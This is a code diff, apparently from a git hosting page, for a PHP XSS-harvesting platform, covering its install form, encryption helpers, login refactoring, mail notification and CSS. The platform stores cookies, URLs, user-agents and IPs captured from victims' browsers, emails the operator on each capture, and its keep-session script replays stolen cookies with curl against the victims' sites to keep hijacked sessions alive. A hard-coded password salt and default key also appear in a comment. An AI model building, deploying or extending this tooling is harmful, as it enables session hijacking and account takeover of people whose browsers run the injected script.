|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="my_js_path">我的js存储路径</label></th>
|
||||
<td>
|
||||
<input name="my_js_path" type="text" id="my_js_path" size="25" value="<?php echo $my_js_path;?>" required="required" />
|
||||
<p>文件夹需要有写权限</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="encrypt_enable">启用数据加密</label></th>
|
||||
<td>
|
||||
<input type="checkbox" name="encrypt_enable" type="text" id="encrypt_enable" size="25" value="1" <?php if( !isset( $_POST['encrypt_enable'] ) || $encrypt_enable===true ) echo 'checked="checked"';?> />
|
||||
<p>对xss记录,js描述文件加密</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="encrypt_pass">数据加密密码</label></th>
|
||||
<td>
|
||||
<input name="encrypt_pass" type="text" id="encrypt_pass" size="25" value="<?php echo $encrypt_pass;?>" />
|
||||
<p>加密数据的密码</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="encrypt_type">加密方式</label></th>
|
||||
<td>
|
||||
|
||||
|
||||
<select name="encrypt_type" type="text" id="encrypt_type" size="1">
|
||||
<option value ="RC4" <?php if($encrypt_type==="RC4") echo 'selected="selected"';?> >RC4</option>
|
||||
<option value ="AES" <?php if($encrypt_type!=="RC4") echo 'selected="selected"';?> >AES</option>
|
||||
</select>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="keep_session_enable">启用keepsession</label></th>
|
||||
<td>
|
||||
<input type="checkbox" name="keep_session_enable" type="text" id="keep_session_enable" size="25" value="1" <?php if(!isset( $_POST['keep_session_enable'] ) || $keep_session_enable===true) echo 'checked="checked"';?> />
|
||||
|
||||
<p>详见README.md说明</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="ipdata_path">ip数据库位置</label></th>
|
||||
<td>
|
||||
<input name="ipdata_path" type="text" id="ipdata_path" size="25" value="<?php echo $ipdata_path;?>" required="required" />
|
||||
<p>纯真qqwry.dat位置</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="mail_enable">启用邮件通知</label></th>
|
||||
<td>
|
||||
<input type="checkbox" name="mail_enable" type="text" id="mail_enable" size="25" value="1" <?php if($mail_enable===true) echo 'checked="checked"';?> />
|
||||
<p>收到xss消息后邮件通知</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="smtp_server">SMTP服务器</label></th>
|
||||
<td>
|
||||
<input name="smtp_server" type="text" id="smtp_server" size="25" value="<?php echo $smtp_server;?>" />
|
||||
<p>SMTP服务器地址</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="smtp_port">SMTP服务器端口</label></th>
|
||||
<td>
|
||||
<input name="smtp_port" type="text" id="smtp_port" size="25" value="<?php echo $smtp_port;?>" />
|
||||
<p>详询服务提供商</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="smtp_secure">SMTP安全项</label></th>
|
||||
<td>
|
||||
<input name="smtp_secure" type="text" id="smtp_secure" size="25" value="<?php echo $smtp_secure;?>" />
|
||||
<p>默认无需修改</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="mail_user">SMTP用户名</label></th>
|
||||
<td>
|
||||
<input name="mail_user" type="text" id="mail_user" size="25" value="<?php echo $mail_user;?>" />
|
||||
<p>一般只是邮箱@之前的部分</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="mail_pass">SMTP密码</label></th>
|
||||
<td>
|
||||
<input name="mail_pass" type="text" id="mail_pass" size="25" value="<?php echo $mail_pass;?>" />
|
||||
<p>发件邮箱的密码</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
<th scope="row"><label for="mail_from">发件人地址</label></th>
|
||||
<td>
|
||||
<input name="mail_from" type="text" id="mail_from" size="25" value="<?php echo $mail_from;?>" />
|
||||
<p>不可伪造,否者无法发送</p>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row"><label for="mail_recv">收件人地址</label></th>
|
||||
<td>
|
||||
<input name="mail_recv" type="text" id="mail_recv" size="25" value="<?php echo $mail_recv;?>" />
|
||||
<p>接收通知的邮件地址</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
</table>
|
||||
<p class="step"><input name="submit" type="submit" value="提交" class="button button-large"></p>
|
||||
|
||||
</form>
|
||||
<?php
|
||||
} // end display_setup_form()
|
||||
|
||||
//xss过滤
|
||||
function stripStr($str){
|
||||
if(get_magic_quotes_gpc())
|
||||
$str=stripslashes($str);
|
||||
return htmlspecialchars($str,ENT_QUOTES,'UTF-8');
|
||||
}
|
||||
|
||||
//js描述重加密
|
||||
function modify_js_desc($path,$old_encrypt_enable,$old_encrypt_pass,$old_encrypt_type,$new_encrypt_enable,$new_encrypt_pass, $new_encrypt_type)
|
||||
{
|
||||
$files = glob($path . '/*.js');
|
||||
foreach ($files as $file){
|
||||
//由于可能有中文名,故使用正则来提取文件名
|
||||
$filename=preg_replace('/^.+[\\\\\\/]/', '', $file);
|
||||
$filename=substr ( $filename , 0 , strlen ($filename)-3 );
|
||||
|
||||
$desc=@file_get_contents(dirname( __FILE__ ).'/'.$path.'/'.$filename.'.desc');
|
||||
|
||||
if($desc!==false)
|
||||
$desc=decrypt($desc,$old_encrypt_enable,$old_encrypt_pass,$old_encrypt_type);
|
||||
else
|
||||
$desc="";
|
||||
|
||||
$desc=encrypt($desc, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type);
|
||||
|
||||
@file_put_contents(dirname( __FILE__ ).'/'.$path.'/'.$filename.'.desc', $desc);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
//加密
|
||||
function encrypt($info,$encrypt_enable,$encrypt_pass,$encrypt_type)
|
||||
{
|
||||
if($encrypt_enable) {
|
||||
if($encrypt_type==="AES") {
|
||||
require_once("aes.php");
|
||||
$info=AESEncryptCtr($info,$encrypt_pass);
|
||||
}
|
||||
else {
|
||||
require_once("rc4.php");
|
||||
$info=base64_encode( rc4($info,$encrypt_pass) );
|
||||
}
|
||||
}
|
||||
else
|
||||
$info=base64_encode($info);
|
||||
|
||||
return $info;
|
||||
}
|
||||
|
||||
//解密
|
||||
function decrypt($info,$encrypt_enable,$encrypt_pass,$encrypt_type)
|
||||
{
|
||||
if($encrypt_enable) {
|
||||
if($encrypt_type==="AES") {
|
||||
require_once("aes.php");
|
||||
$info=AESDecryptCtr($info,$encrypt_pass);
|
||||
|
||||
}
|
||||
else {
|
||||
require_once("rc4.php");
|
||||
$info=rc4(base64_decode($info),$encrypt_pass);
|
||||
}
|
||||
}
|
||||
else
|
||||
$info=base64_decode($info);
|
||||
return $info;
|
||||
}
|
||||
|
||||
?>
|
||||
@@ -5,25 +5,22 @@ ignore_user_abort();
|
||||
//Windows平台最好别设成0,因为windows上lock没法实现非阻塞
|
||||
set_time_limit(0);
|
||||
|
||||
require_once("config.php");
|
||||
require_once("load.php");
|
||||
require_once("functions.php");
|
||||
require_once("dio.php");
|
||||
|
||||
if(KEEP_SESSION)
|
||||
{
|
||||
if (KEEP_SESSION) {
|
||||
//利用非阻塞的flock实现单例运行
|
||||
$pid = fopen(DATA_PATH . '/check.pid', "w");
|
||||
if (!$pid)
|
||||
exit();
|
||||
|
||||
if(flock($pid, LOCK_EX|LOCK_NB))
|
||||
{
|
||||
if (flock($pid, LOCK_EX | LOCK_NB)) {
|
||||
$files = glob(DATA_PATH . '/*.php');
|
||||
foreach ($files as $file) {
|
||||
$filename = basename($file, ".php");
|
||||
$info = load_xss_record($filename);
|
||||
if($info['keepsession']===true)
|
||||
{
|
||||
if ($info['keepsession'] === true) {
|
||||
$url = getLocation($info);
|
||||
$cookie = getCookie($info);
|
||||
|
||||
@@ -32,8 +29,7 @@ if(KEEP_SESSION)
|
||||
$useragent = $info['headers_data']['User-Agent'];
|
||||
|
||||
$ip = $info['user_IP'];
|
||||
if($url!="" && $cookie!="")
|
||||
{
|
||||
if ($url != "" && $cookie != "") {
|
||||
$ch = curl_init();
|
||||
$header[] = 'User-Agent: ' . $useragent;
|
||||
$header[] = 'Cookie: ' . $cookie;
|
||||
@@ -62,7 +58,8 @@ if(KEEP_SESSION)
|
||||
|
||||
}
|
||||
|
||||
function getCookie($info){
|
||||
function getCookie($info)
|
||||
{
|
||||
$cookie = "";
|
||||
|
||||
if (isset($info['decoded_get_data']['cookie']) && $info['decoded_get_data']['cookie'] != "")
|
||||
@@ -82,7 +79,8 @@ function getCookie($info){
|
||||
|
||||
}
|
||||
|
||||
function getLocation($info){
|
||||
function getLocation($info)
|
||||
{
|
||||
$location = "";
|
||||
|
||||
if (isset($info['decoded_get_data']['location']) && $info['decoded_get_data']['location'] != "")
|
||||
@@ -102,5 +100,3 @@ function getLocation($info){
|
||||
|
||||
return htmlspecialchars_decode(stripslashes($location), ENT_QUOTES);
|
||||
}
|
||||
|
||||
?>
|
||||
8
load.php
Normal file
8
load.php
Normal file
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
if (file_exists('config.php')) {
|
||||
require_once('config.php');
|
||||
} else {
|
||||
//缺少config文件,转至install.php
|
||||
header("Location: install.php");
|
||||
exit();
|
||||
}
|
||||
47
login.php
47
login.php
@@ -1,5 +1,9 @@
|
||||
<?php
|
||||
define("IN_XSS_PLATFORM", true);
|
||||
|
||||
require_once("load.php");
|
||||
require_once("functions.php");
|
||||
|
||||
//CSP开启
|
||||
header("Content-Security-Policy: default-src 'self'; object-src 'none'; frame-src 'none'");
|
||||
header("X-Content-Security-Policy: default-src 'self'; object-src 'none'; frame-src 'none'");
|
||||
@@ -8,12 +12,10 @@ header("X-WebKit-CSP: default-src 'self'; object-src 'none'; frame-src 'none'");
|
||||
//设置httponly
|
||||
ini_set("session.cookie_httponly", 1);
|
||||
session_start();
|
||||
require_once("config.php");
|
||||
require_once("functions.php");
|
||||
|
||||
|
||||
//判断是否登陆
|
||||
if(isset($_SESSION['isLogin']) && $_SESSION['isLogin']===true)
|
||||
{
|
||||
if (isset($_SESSION['isLogin']) && $_SESSION['isLogin'] === true) {
|
||||
header("Location: admin.php");
|
||||
exit();
|
||||
}
|
||||
@@ -22,25 +24,19 @@ if(isset($_SESSION['isLogin']) && $_SESSION['isLogin']===true)
|
||||
$forbiddenIPList = loadForbiddenIPList();
|
||||
$ip = $_SERVER['REMOTE_ADDR'];
|
||||
$is_pass_wrong = false;
|
||||
if(!isset($forbiddenIPList[$ip]) || $forbiddenIPList[$ip]<=5)
|
||||
{
|
||||
if(isset($_POST['password']) && $_POST['password']!="")
|
||||
{
|
||||
if(checkPassword($_POST['password']))
|
||||
{
|
||||
if (!isset($forbiddenIPList[$ip]) || $forbiddenIPList[$ip] <= 5) {
|
||||
if (isset($_POST['password']) && $_POST['password'] != "") {
|
||||
if (checkPassword($_POST['password'])) {
|
||||
$_SESSION['isLogin'] = true;
|
||||
$_SESSION['user_IP'] = $ip;
|
||||
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
|
||||
if(isset($forbiddenIPList[$ip]))
|
||||
{
|
||||
if (isset($forbiddenIPList[$ip])) {
|
||||
unset($forbiddenIPList[$ip]);
|
||||
saveForbiddenIPList($forbiddenIPList);
|
||||
}
|
||||
header("Location: admin.php");
|
||||
exit();
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
if (isset($forbiddenIPList[$ip]))
|
||||
$forbiddenIPList[$ip]++;
|
||||
else
|
||||
@@ -49,8 +45,7 @@ if(!isset($forbiddenIPList[$ip]) || $forbiddenIPList[$ip]<=5)
|
||||
$is_pass_wrong = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
} else
|
||||
$is_pass_wrong = true;
|
||||
|
||||
function loadForbiddenIPList()
|
||||
@@ -64,15 +59,13 @@ function loadForbiddenIPList()
|
||||
$str = decrypt($str);
|
||||
|
||||
|
||||
if($str!='')
|
||||
{
|
||||
if ($str != '') {
|
||||
$result = json_decode($str, true);
|
||||
if ($result != null)
|
||||
return $result;
|
||||
else
|
||||
return array();
|
||||
}
|
||||
else
|
||||
} else
|
||||
return array();
|
||||
}
|
||||
|
||||
@@ -91,8 +84,7 @@ php -r "$salt='!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl';$key='bluelotus';$key=md5($salt
|
||||
*/
|
||||
function checkPassword($p)
|
||||
{
|
||||
if(isset($_POST['firesunCheck']) && isset($_SESSION['firesunCheck']) && $_SESSION['firesunCheck']!="" && $_POST['firesunCheck']===$_SESSION['firesunCheck'])
|
||||
{
|
||||
if (isset($_POST['firesunCheck']) && isset($_SESSION['firesunCheck']) && $_SESSION['firesunCheck'] != "" && $_POST['firesunCheck'] === $_SESSION['firesunCheck']) {
|
||||
//改了这个盐记得改login.js里的,两个要一致
|
||||
$salt = "!KTMdg#^^I6Z!deIVR#SgpAI6qTN7oVl";
|
||||
$key = PASS;
|
||||
@@ -105,7 +97,8 @@ function checkPassword($p)
|
||||
}
|
||||
|
||||
//生成挑战应答的随机值
|
||||
function generate_password( $length = 32 ) {
|
||||
function generate_password($length = 32)
|
||||
{
|
||||
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
$password = "";
|
||||
for ($i = 0; $i < $length; $i++)
|
||||
@@ -138,7 +131,11 @@ function generate_password( $length = 32 ) {
|
||||
</h1>
|
||||
<form action="" method="post">
|
||||
<input type="password" placeholder="password" id="password" name="password" required="required">
|
||||
<input id="firesunCheck" type="hidden" name="firesunCheck" value=<?php $firesunCheck=generate_password(32); $_SESSION['firesunCheck']=$firesunCheck;echo json_encode($_SESSION['firesunCheck']);?> />
|
||||
<input id="firesunCheck" type="hidden" name="firesunCheck" value=<?php
|
||||
$firesunCheck = generate_password(32);
|
||||
$_SESSION['firesunCheck'] = $firesunCheck;
|
||||
echo json_encode($_SESSION['firesunCheck']);
|
||||
?> />
|
||||
|
||||
<button type="submit" id="submit" disabled="disabled">
|
||||
<i class="fa fa-arrow-right">
|
||||
|
||||
@@ -7,4 +7,3 @@ session_unset();
|
||||
session_destroy();
|
||||
header("Location: login.php");
|
||||
exit();
|
||||
?>
|
||||
4
mail.php
4
mail.php
@@ -4,7 +4,8 @@ if(!defined('IN_XSS_PLATFORM')) {
|
||||
}
|
||||
|
||||
require_once("PHPMailer/PHPMailerAutoload.php");
|
||||
require_once("config.php");
|
||||
require_once("load.php");
|
||||
|
||||
function send_mail($xss_record_json)
|
||||
{
|
||||
$subject = "GET:" . count($xss_record_json['get_data']) . "个 POST:" . count($xss_record_json['post_data']) . "个 Cookie:" . count($xss_record_json['cookie_data']) . "个";
|
||||
@@ -38,4 +39,3 @@ function send_mail($xss_record_json)
|
||||
$mail->Body = $body;
|
||||
$mail->Send();
|
||||
}
|
||||
?>
|
||||
9
rc4.php
9
rc4.php
@@ -1,4 +1,8 @@
|
||||
<?php
|
||||
if (!defined('IN_XSS_PLATFORM')) {
|
||||
exit('Access Denied');
|
||||
}
|
||||
|
||||
/*
|
||||
* Copyright 2011 Michael Cutler <m@cotdp.com>
|
||||
*
|
||||
@@ -26,7 +30,8 @@
|
||||
* @return the result of the RC4 as a binary string
|
||||
* @author Michael Cutler <m@cotdp.com>
|
||||
*/
|
||||
function rc4($data_str , $key_str) {
|
||||
function rc4($data_str, $key_str)
|
||||
{
|
||||
// convert input string(s) to array(s)
|
||||
$key = array();
|
||||
$data = array();
|
||||
@@ -80,5 +85,3 @@
|
||||
}
|
||||
return $data_str;
|
||||
}
|
||||
|
||||
?>
|
||||
315
static/css/install.css
Normal file
315
static/css/install.css
Normal file
@@ -0,0 +1,315 @@
|
||||
html {
|
||||
background: #222526;
|
||||
margin: 0 20px;
|
||||
}
|
||||
|
||||
body {
|
||||
background: #fff;
|
||||
color: #444;
|
||||
font-family: 'Microsoft YaHei', "Open Sans", sans-serif;
|
||||
margin: 190px auto 25px;
|
||||
padding: 20px 20px 10px 20px;
|
||||
max-width: 600px;
|
||||
-webkit-font-smoothing: subpixel-antialiased;
|
||||
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
|
||||
box-shadow: 0 1px 3px rgba(0,0,0,0.13);
|
||||
}
|
||||
|
||||
a {
|
||||
color: #0073aa;
|
||||
}
|
||||
|
||||
a:hover,
|
||||
a:active {
|
||||
color: #00a0d2;
|
||||
}
|
||||
|
||||
a:focus {
|
||||
color: #124964;
|
||||
-webkit-box-shadow:
|
||||
0 0 0 1px #5b9dd9,
|
||||
0 0 2px 1px rgba(30, 140, 190, .8);
|
||||
box-shadow:
|
||||
0 0 0 1px #5b9dd9,
|
||||
0 0 2px 1px rgba(30, 140, 190, .8);
|
||||
}
|
||||
|
||||
.ie8 a:focus {
|
||||
outline: #5b9dd9 solid 1px;
|
||||
}
|
||||
|
||||
h1, h2 {
|
||||
border-bottom: 1px solid #dedede;
|
||||
clear: both;
|
||||
color: #666;
|
||||
font-size: 24px;
|
||||
padding: 0;
|
||||
padding-bottom: 7px;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
h3 {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
p, li, dd, dt {
|
||||
padding-bottom: 2px;
|
||||
font-size: 14px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
code, .code {
|
||||
font-family: 'Microsoft YaHei', Consolas, Monaco, monospace;
|
||||
}
|
||||
|
||||
ul, ol, dl {
|
||||
padding: 5px 5px 5px 22px;
|
||||
}
|
||||
|
||||
a img {
|
||||
border:0
|
||||
}
|
||||
abbr {
|
||||
border: 0;
|
||||
font-variant: normal;
|
||||
}
|
||||
|
||||
fieldset {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
label {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#logo {
|
||||
margin: -170px 0 37px 0;
|
||||
padding: 0 0 7px 0;
|
||||
border-bottom: none;
|
||||
text-align: center;
|
||||
}
|
||||
#logo a {
|
||||
background-image: url(../images/logo.png);
|
||||
-webkit-background-size: 180px;
|
||||
background-size: 180px;
|
||||
background-position: center top;
|
||||
background-repeat: no-repeat;
|
||||
color: #999;
|
||||
height: 180px;
|
||||
width: 300px;
|
||||
font-size: 20px;
|
||||
font-weight: normal;
|
||||
line-height: 1.3em;
|
||||
margin: -110px auto -50px;
|
||||
padding: 0;
|
||||
text-decoration: none;
|
||||
text-indent: -9999px;
|
||||
outline: none;
|
||||
overflow: hidden;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#logo a:focus {
|
||||
-webkit-box-shadow: none;
|
||||
box-shadow: none;
|
||||
}
|
||||
|
||||
.step {
|
||||
margin: 20px 0 15px;
|
||||
}
|
||||
|
||||
.step, th {
|
||||
text-align: left;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.form-table {
|
||||
border-collapse: collapse;
|
||||
margin-top: 1em;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.form-table td {
|
||||
margin-bottom: 9px;
|
||||
padding: 10px 20px 10px 0;
|
||||
font-size: 14px;
|
||||
vertical-align: top
|
||||
}
|
||||
|
||||
.form-table th {
|
||||
font-size: 14px;
|
||||
text-align: left;
|
||||
padding: 10px 20px 10px 0;
|
||||
width: 140px;
|
||||
vertical-align: top;
|
||||
}
|
||||
|
||||
.form-table code {
|
||||
line-height: 18px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.form-table p {
|
||||
margin: 4px 0 0 0;
|
||||
font-size: 11px;
|
||||
display: inline;
|
||||
}
|
||||
|
||||
.form-table input {
|
||||
line-height: 20px;
|
||||
font-size: 15px;
|
||||
padding: 3px 5px;
|
||||
border: 1px solid #ddd;
|
||||
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.07);
|
||||
box-shadow: inset 0 1px 2px rgba(0,0,0,0.07);
|
||||
}
|
||||
|
||||
input,
|
||||
submit {
|
||||
font-family: 'Microsoft YaHei',"Open Sans", sans-serif;
|
||||
}
|
||||
|
||||
.form-table input[type=text],
|
||||
.form-table input[type=email],
|
||||
.form-table input[type=url],
|
||||
.form-table input[type=password] {
|
||||
width: 206px;
|
||||
}
|
||||
|
||||
.form-table th p {
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
.form-table.install-success th,
|
||||
.form-table.install-success td {
|
||||
vertical-align: middle;
|
||||
padding: 16px 20px 16px 0;
|
||||
}
|
||||
|
||||
.form-table.install-success td p {
|
||||
margin: 0;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.form-table.install-success td code {
|
||||
margin: 0;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
|
||||
.message {
|
||||
border: 1px solid #c00;
|
||||
padding: 0.5em 0.7em;
|
||||
margin: 5px 0 15px;
|
||||
background-color: #ffebe8;
|
||||
}
|
||||
|
||||
|
||||
.form-table span.description.important {
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
|
||||
/* localization */
|
||||
body.rtl,
|
||||
.rtl textarea,
|
||||
.rtl input,
|
||||
.rtl submit {
|
||||
font-family: 'Microsoft YaHei', Tahoma, sans-serif;
|
||||
}
|
||||
|
||||
:lang(he-il) body.rtl,
|
||||
:lang(he-il) .rtl textarea,
|
||||
:lang(he-il) .rtl input,
|
||||
:lang(he-il) .rtl submit {
|
||||
font-family: 'Microsoft YaHei', Arial, sans-serif;
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 799px) {
|
||||
body {
|
||||
margin-top: 115px;
|
||||
}
|
||||
#logo a {
|
||||
margin: -125px auto 30px;
|
||||
}
|
||||
}
|
||||
|
||||
@media screen and ( max-width: 782px ) {
|
||||
|
||||
.form-table {
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
.form-table th,
|
||||
.form-table td {
|
||||
display: block;
|
||||
width: auto;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
.form-table th {
|
||||
padding: 20px 0 0;
|
||||
}
|
||||
|
||||
.form-table td {
|
||||
padding: 5px 0;
|
||||
border: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
textarea,
|
||||
input {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.form-table td input[type="text"],
|
||||
.form-table td input[type="email"],
|
||||
.form-table td input[type="url"],
|
||||
.form-table td input[type="password"],
|
||||
.form-table td select,
|
||||
.form-table td textarea,
|
||||
.form-table span.description {
|
||||
width: 100%;
|
||||
font-size: 16px;
|
||||
line-height: 1.5;
|
||||
padding: 7px 10px;
|
||||
display: block;
|
||||
max-width: none;
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
#encrypt_enable, #keep_session_enable, #mail_enable {
|
||||
margin-right: 200px;
|
||||
}
|
||||
|
||||
.core-ui .button {
|
||||
color: #555;
|
||||
border-color: #ccc;
|
||||
background: #f7f7f7;
|
||||
-webkit-box-shadow: 0 1px 0 #ccc;
|
||||
box-shadow: 0 1px 0 #ccc;
|
||||
vertical-align: top;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
font-size: 13px;
|
||||
line-height: 26px;
|
||||
height: 28px;
|
||||
margin: 0;
|
||||
padding: 0 10px 1px;
|
||||
cursor: pointer;
|
||||
border-width: 1px;
|
||||
border-style: solid;
|
||||
-webkit-appearance: none;
|
||||
-webkit-border-radius: 3px;
|
||||
border-radius: 3px;
|
||||
white-space: nowrap;
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
Reference in New Issue
Block a user